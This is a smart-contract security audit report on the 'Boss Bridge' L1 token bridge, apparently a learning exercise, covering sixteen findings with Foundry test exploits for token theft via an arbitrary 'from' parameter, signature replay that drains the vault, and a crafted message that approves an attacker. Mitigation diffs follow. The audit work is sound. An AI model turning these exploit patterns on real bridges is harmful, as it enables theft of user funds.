Boss Bridge Security Review

Version 1.0

palmcivet

March 1, 2024

Boss Bridge Security Review

palmcivet

March 1, 2024

Prepared by: Palmcivet

Table of Contents

    * [H-4] `L1BossBridge::withdrawTokensToL1()` function is missing safeguards against signature replay attacks, meaning an attacker can drain `L1Vault` of funds
    * [H-5] Attacker can send data to `L1BossBridge::sendToL1`, containing instructions to call `L1Vault::approveTo`, approving themselves and allowing them to steal funds from the Vault
  - Medium
    * [M-1] Centralization Risk for trusted owners
  - Low
    * [L-1] Unsafe ERC20 Operations should not be used
    * [L-2] Attacker can perform a gas bomb attack by send data with high gas costs to `L1BossBridge::sendToL1`, impacting signers causing them to pay unnecessarily high fees
  - Informational
    * [I-1] Missing checks for `address(0)` when assigning values to address state variables
    * [I-2] Functions not used internally could be marked external
    * [I-3] Constants should be defined and used instead of literals
    * [I-4] Event is missing `indexed` fields
    * [I-5] `L1BossBridge::DEPOSIT_LIMIT` should be constant
    * [I-6] Checks, Effects and Interactions (CEI) should be followed
    * [I-7] `L1Vault::token` should be immutable
    * [I-8] `IERC20.approve()` call should check the return value in `L1Vault::approveTo`

Protocol Summary

Boss Bridge presents a simple bridge mechanism to move their ERC20 token from L1 to an L2 they're building. The L2 part of the bridge is still under construction, so isn't included here.

In a nutshell, the bridge allows users to deposit tokens, which are held in a secure vault on L1. Successful deposits trigger an event that their off-chain mechanism picks up, parses and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's an strict limit of tokens that can be deposited.
- Withdrawals must be approved by a bridge operator.

They plan on launching `L1BossBridge` on both Ethereum Mainnet and ZKSync.

Disclaimer

The palmcivet team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375

Scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
  - Ethereum Mainnet:
    * L1BossBridge.sol

    * L1Token.sol
    * L1Vault.sol
    * TokenFactory.sol
  - ZKSync Era:
    * TokenFactory.sol
  - Tokens:
    * L1Token.sol (And copies, with different names & initial supplies)

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

Writing some of the proof of codes was a challenging, but rewarding learning experience.

Issues found

Severity	Number of issues found
High	5
Medium	1
Low	2
Informational	8
Total	16

Findings

High

[H-1] `L1BossBridge::depositTokensToL2()` includes arbitrary `from` passed to `safeTransferFrom` that allows any user to steal funds of another user who has approved the `L1BossBridge` contract

Description: The `depositTokensToL2` function in the `L1BossBridge` contract contains a vulnerability due to its arbitrary `from` parameter in the `safeTransferFrom` call. This function allows a user to specify any address as the `from` parameter, which is then used to transfer tokens from the specified address to the contract's vault. If a user has approved the `L1BossBridge` contract to spend their tokens, any other user can call `depositTokensToL2` using the victim's address as the `from` parameter, thereby transferring the victim's tokens to the vault without their consent.

Impact: The impact of this vulnerability is high, as it allows for unauthorized fund transfers, effectively enabling any user to steal funds from another user who has approved the bridge contract. This undermines the security and trust in the `L1BossBridge` contract and can lead to significant financial loss for users who have granted the contract allowance over their tokens.

Proof of Concept:

1. Victim approves `L1BossBridge` contract to spend their tokens
2. Attacker calls `depositTokensToL2`, specifying victim's address as `from` and attacker's address as `l2Recipient`
3. Since the victim granted the contract allowance, the transaction succeeds
4. Victims tokens are transferred to vault with the event indicating the attacker as the recipient on L2

Proof of Code

Place the following into `L1TokenBridge.t.sol`:

```
function test_can_move_approved_tokens_of_other_users() public {
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        uint256 depositAmount = token.balanceOf(user);
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, depositAmount);
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);

        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);
        vm.stopPrank();
    }
```

Recommended Mitigation: The `depositTokensToL2` function should be modified to ensure that the from parameter is always the message sender (i.e., `msg.sender`). This can be achieved by removing the `from` parameter from the function signature and replacing it with `msg.sender` in the `safeTransferFrom` call.

```
-    function depositTokensToL2(address from, address l2Recipient,
    uint256 amount) external whenNotPaused {
+    function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
-       token.safeTransferFrom(from, address(vault), amount);
+       token.safeTransferFrom(msg.sender, address(vault), amount);

        // Our off-chain service picks up this event and mints the
           corresponding tokens on L2
        emit Deposit(from, l2Recipient, amount);
    }
```

[H-2] `L1Vault` approving `L1BossBridge` allows any user to steal funds from the `L1Vault` contract

Description: The `L1Vault` contract, designed to hold tokens before they are bridged to Layer 2, has a serious vulnerability stemming from its indiscriminate approval of the `L1BossBridge` contract to transfer an unlimited amount of its tokens `(type(uint256).max)`. This approval is granted in the `L1BossBridge` constructor, allowing the bridge contract to facilitate withdrawals. However, since the `depositTokensToL2` function in the `L1BossBridge` contract allows specifying any address as the `from` parameter, an attacker can exploit this by directing the bridge to transfer tokens `from` the L1Vault to themselves without authorization.

Impact: This vulnerability has a severe impact as it directly enables unauthorized access to the funds stored within the `L1Vault`. Essentially, any user can initiate a transfer of the vault's entire balance to themselves or another address, bypassing intended security measures. This flaw undermines the fundamental security model of the vault and bridge system, potentially leading to the complete depletion of the vault's assets.

Proof of Concept:

1. `L1BossBridge` is deployed, deploying and approving `L1Vault` in its constructor for the amount of `type(uint256).max`
2. Attacker calls `L1BossBridge::depositTokensToL2` function, setting the `from` parameter to the `L1Vault`'s address and specifying their own address as the recipient
3. `L1BossBridge` executes the transfer from the `L1Vault` to the attacker, exploiting the vault's approval

Proof of Code

Place the following into `L1TokenBridge.t.sol`:

```
    function test_can_transfer_from_vault_to_vault() public {
        address attacker = makeAddr("attacker");

        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);

        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
           vaultBalance);

        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
           vaultBalance);
    }
```

Recommended Mitigation: There are a few options for this issue.

- Restricting Approvals: The `L1Vault` should only approve withdrawals that are explicitly requested and verified, rather than granting a blanket approval. This can be achieved by implementing a withdrawal request mechanism where each withdrawal must be individually approved by the vault, based on specific withdrawal requests.
- Validating Withdrawal Requests: The `L1BossBridge` could incorporate checks to ensure that withdrawal requests are legitimate and correspond to actual deposit transactions intended by the token owners.
- The `depositTokensToL2` function should be modified to ensure that the from parameter is always the message sender (i.e., `msg.sender`). This can be achieved by removing the `from` parameter from the function signature and replacing it with `msg.sender` in the `safeTransferFrom` call.

[H-3] `TokenFactory::deployToken()` function use of assembly will not work on ZKSync Era network

Description: `TokenFactory::deployToken()` uses inline assembly to deploy a new contract using the `create` opcode. This approach is incompatible with the ZKSync Era network's requirements for contract deployment, which relies on the hash of the bytecode rather than the bytecode itself. ZKSync Era's deployment process involves providing the contract's hash to the `ContractDeployer` system contract, a mechanism that differs significantly from the traditional Ethereum environment where the `create` and `create2` opcodes directly use the contract bytecode.

Impact: The direct consequence of this incompatibility is that any attempt to deploy contracts through the `TokenFactory` on the ZKSync Era network will fail.

Proof of Concept: The ZKSync Era documentation specifies that contract deployment should be performed using the hash of the bytecode, with the `factoryDeps` field of EIP712 transactions containing the bytecode. The existing `deployToken` function's reliance on passing raw bytecode to the `create` opcode directly conflicts with this methodology. Given the ZKSync Era's unique approach to contract deployment, traditional methods that do not account for these nuances will inherently be incompatible, as demonstrated by the `deployToken` function's current implementation.

Recommended Mitigation: Consider not using inline assembly or implementing the example given in the ZKSync Era documentation

```diff
-    function deployToken(string memory symbol, bytes memory contractBytecode) public onlyOwner returns (address addr) {
+    function deployToken(string memory symbol) public onlyOwner returns (address addr) {
+        bytes memory bytecode = type(myToken).creationCode;
+        bytes32 salt = keccak256(abi.encodePacked(symbol, block.timestamp));
         assembly {
-            addr := create(0, add(contractBytecode, 0x20), mload(contractBytecode))
+            addr := create(0, add(contractBytecode, 0x20), mload(contractBytecode), salt)
         }
         s_tokenToAddress[symbol] = addr;
         emit TokenDeployed(symbol, addr);
     }
```

[H-4] `L1BossBridge::withdrawTokensToL1()` function is missing safeguards against signature replay attacks, meaning an attacker can drain `L1Vault` of funds

Description: The `L1BossBridge::withdrawTokensToL1()` function is vulnerable to a signature replay attack. This function allows an entity to initiate the withdrawal of tokens by providing a signature (v, r, s) without any mechanism to ensure the uniqueness of each request. That same signature can then be reused multiple times to repeatedly withdraw tokens, potentially draining the vault of its assets.

Impact: The impact of this vulnerability is high, as it directly enables an attacker to exploit the signature mechanism to perform unauthorized withdrawals. By replaying a valid signature, an attacker can repeatedly withdraw tokens, leading to the potential loss of all tokens stored in the vault designated for L1 withdrawals. This not only compromises the integrity and security of the token bridge but also risks significant financial loss for token holders relying on the bridge for cross-layer transfers.

Proof of Concept:

Proof of Code

Place the following into `L1TokenBridge.t.sol`:

```
    function test_signature_replay() public {
        address attacker = makeAddr("attacker");
        // assume the vault already holds some tokens
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), address(attacker), attackerInitialBalance)
            ;

        // somewhere on L2, a call to send tokens back to L1

        // an attacker deposits tokens to L2
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(attacker, attacker,
            attackerInitialBalance);

        // signer/operator is going to sign the withdraw
        bytes memory message = abi.encode(
            address(token), 0, abi.encodeCall(IERC20.transferFrom, (
                address(vault), attacker, attackerInitialBalance))
        );
        (uint8 v, bytes32 r, bytes32 s) =
            vm.sign(operator.key, MessageHashUtils.
                toEthSignedMessageHash(keccak256(message)));

        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(attacker,
                attackerInitialBalance, v, r, s);
        }

        assertEq(token.balanceOf(address(attacker)),
            attackerInitialBalance + vaultInitialBalance);
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended Mitigation: It is recommended to add some sort of parameters to protect against this vulnerability such as a nonce or deadline. If each withdrawal request includes a unique nonce or a specific deadline, it ensures that each signature can only be used once. This change would prevent signature replay attacks by invalidating any attempts to reuse a signature for multiple withdrawals.

```
+   mapping(address => uint256) private nonces;
.
.
.
-    function withdrawTokensToL1(address to, uint256 amount, uint8 v,
    bytes32 r, bytes32 s) external {
+     function withdrawTokensToL1(address to, uint256 amount, uint256
    nonce, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
+         if(nonce != nonces[to]) revert();
+         if(block.timestamp > deadline) revert();
+         nonces[to] += 1;
          sendToL1(
              v,
              r,
              s,
              abi.encode(
                  address(token),
                  0, // value
                  abi.encodeCall(IERC20.transferFrom, (address(vault), to
                      , amount))
              )
          );
      }
```

[H-5] Attacker can send data to `L1BossBridge::sendToL1`, containing instructions to call `L1Vault::approveTo`, approving themselves and allowing them to steal funds from the Vault

Description: The `L1BossBridge::sendToL1` function can be exploited by an attacker to execute arbitrary calls, including invoking the `L1Vault::approveTo` function. This vulnerability arises from the `sendToL1` function's ability to decode and execute arbitrary data, including target addresses and function calls. An attacker can craft a message that, when processed by `sendToL1`, results in a call to the `L1Vault::approveTo` method, thereby granting the attacker approval to transfer the maximum possible amount of tokens from the Vault.

Impact: The impact of this vulnerability is critical. By exploiting this flaw, an attacker can gain approval to transfer all tokens held in the `L1Vault`, effectively stealing the funds. This not only results in financial loss but also undermines the security and integrity of the bridge and vault system, potentially leading to a loss of trust among users.

Proof of Concept:

1. Attacker crafts a message that contains instructions for the `L1BossBridge` to execute a call to the `L1Vault::approveTo` function with the attacker's address and type(uint256).max as parameters
2. This message is then signed by an authorized signer and sent to `sendToL1`
3. Upon execution, `sendToL1` decodes the message and performs the call as instructed, unknowingly approving the attacker to withdraw the maximum amount of tokens from the Vault.

Proof of Code

Place the following into `L1TokenBridge.t.sol`:

```
    function test_sendToL1_data_vault_approval_exploit() public {
        address attacker = makeAddr("attacker");
        uint256 maxAmount = type(uint256).max;
        // assume the vault already holds some tokens
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), address(attacker), attackerInitialBalance)
            ;

        bytes memory data = abi.encodeCall(vault.approveTo, (attacker,
            maxAmount));

        // Crafting the message that will be sent to L1BossBridge's
            sendToL1 function
        bytes memory message = abi.encode(address(vault), 0, data);

        (uint8 v, bytes32 r, bytes32 s) =
            vm.sign(operator.key, MessageHashUtils.
                toEthSignedMessageHash(keccak256(message)));

        // The attacker sends the crafted message to the L1BossBridge
        // Assume `sendToL1` is called with the extracted signature
            components and the crafted message
        tokenBridge.sendToL1(v, r, s, message);

        uint256 attackerAllowance = token.allowance(address(vault),
            attacker);
        console2.log("attackerAllowance:", attackerAllowance);

        // After the exploit
        // Verify the attacker has been approved to transfer the
           maximum amount of tokens from the vault
        uint256 allowedAmount = token.allowance(address(vault),
           attacker);
        assertEq(allowedAmount, maxAmount);

        // attacker calls transferFrom and steals the funds
        vm.prank(attacker);
        token.transferFrom(address(vault), attacker,
           vaultInitialBalance);
        assertEq(token.balanceOf(attacker), attackerInitialBalance +
           vaultInitialBalance);
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended Mitigation: Consider implementing checks in `L1BossBridge::sendToL1` to ensure that calls to `L1Bridge` are not allowed.

Medium

[M-1] Centralization Risk for trusted owners

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

- Found in src/L1BossBridge.sol Line: 27

  ```
  contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
  ```

- Found in src/L1BossBridge.sol Line: 49

  ```
      function pause() external onlyOwner {
  ```

- Found in src/L1BossBridge.sol Line: 53

  ```
      function unpause() external onlyOwner {
  ```

- Found in src/L1BossBridge.sol Line: 57

  ```
      function setSigner(address account, bool enabled) external
         onlyOwner {
  ```

- Found in src/L1Vault.sol Line: 12

  ```
  contract L1Vault is Ownable {
  ```

- Found in src/L1Vault.sol Line: 19

```
    function approveTo(address target, uint256 amount) external
        onlyOwner {
```

- Found in src/TokenFactory.sol Line: 11

```
contract TokenFactory is Ownable {
```

- Found in src/TokenFactory.sol Line: 23

```
    function deployToken(string memory symbol, bytes memory
        contractBytecode) public onlyOwner returns (address addr) {
```

Low

[L-1] Unsafe ERC20 Operations should not be used

ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.

- Found in src/L1BossBridge.sol Line: 99

```
                abi.encodeCall(IERC20.transferFrom, (address(vault
                    ), to, amount))
```

- Found in src/L1Vault.sol Line: 20

```
        token.approve(target, amount);
```

[L-2] Attacker can perform a gas bomb attack by send data with high gas costs to `L1BossBridge::sendToL1`, impacting signers causing them to pay unnecessarily high fees

Description: The `L1BossBridge::sendToL1()` function introduces a vulnerability where an attacker can craft a message that results in high gas consumption when processed. Since the function executes arbitrary data without gas usage limitations, an attacker can exploit this to perform a gas bomb attack. This involves sending data that intentionally triggers complex computations or storage operations, thereby inflating the gas cost for the transaction.

Impact: Signers may incur unnecessarily high transaction fees due to the inflated gas costs of processing the attacker's data. This not only burdens the signers financially but could also be used as a denial-of-service (DoS) attack vector, potentially deterring signers from processing legitimate withdrawal requests due to the fear of high transaction costs. Additionally, if the gas costs exceed block gas limits, it could prevent the execution of legitimate transactions, disrupting the functionality of the `L1BossBridge`.

Proof of Concept:

1. Attacker crafts a message containing data that, when executed, performs operations with high gas consumption
2. Signer processes this message
3. Due to the lack of gas usage checks or limitations, processing this data results in significantly higher transaction fees than expected
4. Financially impacts the signer but could also lead to a DoS condition if signers become reluctant to process transactions, fearing high costs

Recommended Mitigation: Consider implementing a gas limit for the execution of the data within the `sendToL1` function.

```
  function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message
      ) public nonReentrant whenNotPaused {
          address signer = ECDSA.recover(MessageHashUtils.
              toEthSignedMessageHash(keccak256(message)), v, r, s);

          if (!signers[signer]) {
              revert L1BossBridge__Unauthorized();
          }

          (address target, uint256 value, bytes memory data) = abi.decode
              (message, (address, uint256, bytes));

+         uint256 callGasLimit = 100000; // Example gas limit, adjust
  based on expected operations
-         (bool success,) = target.call{ value: value }(data);
+         (bool success,) = target.call{value: value, gas: callGasLimit}(
  data);
          if (!success) {
              revert L1BossBridge__CallFailed();
          }
   }
```

Informational

[I-1] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/L1Vault.sol Line: 16

```
        token = _token;
```

[I-2] Functions not used internally could be marked external

- Found in src/TokenFactory.sol Line: 23

```
    function deployToken(string memory symbol, bytes memory
       contractBytecode) public onlyOwner returns (address addr) {
```

- Found in src/TokenFactory.sol Line: 31

```
    function getTokenAddressFromSymbol(string memory symbol)
       public view returns (address addr) {
```

[I-3] Constants should be defined and used instead of literals

- Found in src/L1Token.sol Line: 10

```
        _mint(msg.sender, INITIAL_SUPPLY * 10 ** decimals());
```

[I-4] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/L1BossBridge.sol Line: 40

```
    event Deposit(address from, address to, uint256 amount);
```

- Found in src/TokenFactory.sol Line: 14

```
    event TokenDeployed(string symbol, address addr);
```

[I-5] `L1BossBridge::DEPOSIT_LIMIT` should be constant

`DEPOSIT_LIMIT` is unchanged and as such should be constant, not stored in storage. This means accessing it will save on gas.

```diff
-    uint256 public DEPOSIT_LIMIT = 100_000 ether;
+    uint256 public constant DEPOSIT_LIMIT = 100_000 ether;
```

[I-6] Checks, Effects and Interactions (CEI) should be followed

```diff
function depositTokensToL2(address from, address l2Recipient, uint256
    amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
+       emit Deposit(from, l2Recipient, amount);
        token.safeTransferFrom(from, address(vault), amount);

-       emit Deposit(from, l2Recipient, amount);
    }
```

[I-7] `L1Vault::token` should be immutable

```diff
-   IERC20 public token;
+   IERC20 public immutable i_token;
```

[I-8] `IERC20.approve()` call should check the return value in `L1Vault::approveTo`

```diff
    function approveTo(address target, uint256 amount) external
        onlyOwner {
-       token.approve(target, amount);
+       if (!token.approve(target, amount)) revert();
    }
```